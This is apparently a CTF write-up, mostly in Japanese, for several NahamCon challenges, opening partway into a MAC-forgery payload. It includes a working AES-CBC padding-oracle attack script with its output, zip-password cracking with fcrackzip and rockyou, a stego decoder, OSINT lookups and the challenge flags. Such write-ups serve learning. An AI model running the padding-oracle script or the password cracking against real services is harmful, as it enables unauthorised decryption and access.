Send me a message and it's tag to verify that you belong to the cheese community
The format message and tag format should be [message][tag] without the brackets of course.
The message should be at least one block (16 bytes) and the tag should be 16 bytes.
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc4"\xa4>\x16\x197\n\x8fNL*=$\xc6\x83'
Oh very nice!
Message = {msg}
Tag = {tag}
Length = {len(data)}

Cheesy MAC ;). flag{76a74e3680aea8675a3ae1421a9993eb}
flag{76a74e3680aea8675a3ae1421a9993eb}

Pee Kay See Ess 7 (Cryptography)

$ nc challenge.nahamcon.com 30268

Добро пожаловать! This is an AES-CBC decryption validation oracle. Send us a ciphertext and we'll let you know if it's valid or not.


/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 0 
Send your ct (hex): f69f5206cf194380e88d084c8cb1e95f0422b6a71dc8fa3955f4379e079e0f28e83811d64abe32fdbca60d49d1112b68039d584a9298fb15e3fd750794f90b3c
valid
/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 0
Send your ct (hex): f69f5206cf194380e88d084c8cb1e95f0422b6a71dc8fa3955f4379e079e0f28e83811d64abe32fdbca60d49d1112b68039d584a9298fb15e3fd750794f90b3d
not valid
/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 

AES CBC Padding Oracle Attackで添付の暗号を復号する。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor
from Crypto.Util.Padding import unpad

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def is_valid(s, ct):
    data = recvuntil(s, b'Choice: ')
    print(data + '0')
    s.sendall(b'0\n')
    data = recvuntil(s, b': ')
    print(data + ct)
    s.sendall(ct.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if data != 'not valid':
        return True
    else:
        return False

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.nahamcon.com', 30268))

with open('ct.hex', 'r') as f:
    ct = bytes.fromhex(f.read().rstrip())

ct_blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]

xor_blocks = []
for i in range(1, len(ct_blocks)):
    xor_block = b''
    for j in range(16):
        for code in range(256):
            print('[+] %d - %d - %d: %s' % (i, j, code, xor_block.hex()))
            if j > 0:
                print('****', strxor(xor_block, ct_blocks[i-1][-j:]), '****')
            try_pre_block = b'\x00' * (16 - j - 1) + bytes([code]) + strxor(xor_block, bytes([j + 1]) * j)
            try_cipher = (try_pre_block + ct_blocks[i]).hex()
            if is_valid(s, try_cipher):
                xor_code = (j + 1) ^ code
                xor_block = bytes([xor_code]) + xor_block
                break

    xor_blocks.append(xor_block)

flag = b''
for i in range(len(xor_blocks)):
    flag += strxor(ct_blocks[i], xor_blocks[i])

flag = unpad(flag, 16).decode()
print('[*] flag:', flag)

実行結果は以下の通り。

[+] 1 - 0 - 0: 

Добро пожаловать! This is an AES-CBC decryption validation oracle. Send us a ciphertext and we'll let you know if it's valid or not.


/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 0
Send your ct (hex): 000000000000000000000000000000000422b6a71dc8fa3955f4379e079e0f28
not valid
[+] 1 - 0 - 1: 
/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 0
Send your ct (hex): 000000000000000000000000000000010422b6a71dc8fa3955f4379e079e0f28
not valid
        :
        :

[+] 3 - 15 - 192: 0f77e02cc338f7b6ac0743db1b2162
**** b'7f6f}\n\n\n\n\n\n\n\n\n\n' ****
/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 0
Send your ct (hex): c01f67f03cd328e7a6bc1753cb0b3172039d584a9298fb15e3fd750794f90b3c
not valid
[+] 3 - 15 - 193: 0f77e02cc338f7b6ac0743db1b2162
**** b'7f6f}\n\n\n\n\n\n\n\n\n\n' ****
/------------------------\
| AES-CBC Oracle MENU:   |
| (0) Validate my ct     | 
| (1) Exit               |
\------------------------/

Choice: 0
Send your ct (hex): c11f67f03cd328e7a6bc1753cb0b3172039d584a9298fb15e3fd750794f90b3c
valid
[*] flag: flag{0b1a83a2f3d2836b5059c31166c97f6f}
flag{0b1a83a2f3d2836b5059c31166c97f6f}

johnks (Forensics)

pngのIHDRチャンクにある画像の高さを変更すると、下の方にフラグが現れる。

flag{979723c28e4f8f14cb913ab863c71325}

A Wild Ride (Forensics)

$ fcrackzip -u -D -p dict/rockyou.txt gpx.zip 


PASSWORD FOUND!!!!: pw == crackme

このパスワードで解凍すると、たんさんの*.gpxファイルが展開される。https://ctyo.github.io/JourneyMap/にすべてのファイルを取り込んでみる。ルートでフラグ文字列になっているので、何とか読み取る。

FLAG{gpx_is_cool}

Steam Locomotive (Misceallaneous)

$ ssh -p 32247 user@challenge.nahamcon.com
The authenticity of host '[challenge.nahamcon.com]:32247 ([34.123.79.100]:32247)' can't be established.
ECDSA key fingerprint is SHA256:xQ31F0F0VPFiMinVHvQLJirFl0xLWoD7uxiYL44kIq4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[challenge.nahamcon.com]:32247,[34.123.79.100]:32247' (ECDSA) to the list of known hosts.
user@challenge.nahamcon.com's password: 

Connection to challenge.nahamcon.com closed.

接続したら、ASCIIアートでSLが走っていき、切断された。直接リモートでコマンド実行してみる。

$ ssh -p 32247 user@challenge.nahamcon.com ls -l
user@challenge.nahamcon.com's password: 
total 4
-r--------    1 user     user            39 Apr 24 16:44 flag.txt
$ ssh -p 32247 user@challenge.nahamcon.com cat flag.txt
user@challenge.nahamcon.com's password: 
flag{4f9b10a81141c7a07a494c28bd91d05b}
flag{4f9b10a81141c7a07a494c28bd91d05b}

Ostrich (Steganography)

スクリプトの処理概要は以下の通り。

・orig_image: "ostrich.jpg"の画像情報読み込み
・flagの長さだけ以下繰り返し
 ・x: 画像幅の範囲のランダム値
 ・y: 画像高さの範囲のランダム値
 ・pixel: (x, y)のRGB値
 ・B(青)の値が0の場合は、以下の実行を繰り返す。
  ・x: 画像幅の範囲のランダム値
  ・y: 画像高さの範囲のランダム値
  ・pixel: (x, y)のRGB値
 ・new_val: Bの値 * flagのi番目の文字のASCIIコード →計算結果を文字列化
 ・Rの値: new_val[0]
 ・Gの値: new_valの長さが1より大きい場合、new_val[1]
 ・Bの値: 0
 ・(x, y)のRGB値を設定

apngの各フレーム画像で元の画像と比較し、差分から算出し、1文字ずつフラグを算出する。

#!/usr/bin/env python3
from PIL import Image
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from apng import APNG

res = APNG.open('result.apng')
for i, (png, control) in enumerate(res.frames):
    png.save('result_{i}.png'.format(i=i))

orig_img = Image.open('ostrich.jpg').convert('RGB')
w, h = orig_img.size

flag = ''
for i in range(len(res.frames)):
    img = Image.open('result_{i}.png'.format(i=i)).convert('RGB')
    for y in range(h):
        for x in range(w):
            r0, g0, b0 = orig_img.getpixel((x, y))
            r1, g1, b1 = img.getpixel((x, y))
            if r0 != r1 or g0 != g1 or b0 != b1:
                assert b1 == 0
                if g0 == g1:
                    new_val = bytes([r1])
                else:
                    new_val = bytes([r1]) + bytes([g1])
                flag += chr(b2l(new_val) // b0)
                break
print(flag)
flag{d3a5b80f96a3ce0dd0aedbefbc6b1fa1}

Keeber 1 (OSINT)

ドメインは keebersecuritygroup.com であることはすぐにわかる。

$ whois keebersecuritygroup.com | grep Registrant
Registry Registrant ID: Not Available From Registry 
Registrant Name: flag{ef67b2243b195eba43c7dc797b75d75b} Redacted 
Registrant Organization:  
Registrant Street: 8 Apple Lane  
Registrant City: Standish 
Registrant State/Province: ME 
Registrant Postal Code: 04084 
Registrant Country: US 
Registrant Phone: Non-Public Data 
Registrant Email: https://www.name.com/contact-domain-whois/keebersecuritygroup.com/registrant

Registrant Nameにフラグが設定されていた。

flag{ef67b2243b195eba43c7dc797b75d75b}

Keeber 2 (OSINT)

Internet Archivehttps://keebersecuritygroup.com/team/ を検索する。2022年4月に3回取られているようなので、とりあえず2022/4/19のものを見てみる。
Tiffany Douglasの枠にフラグが書かれていた。

flag{cddb59d78a6d50905340a62852e315c9}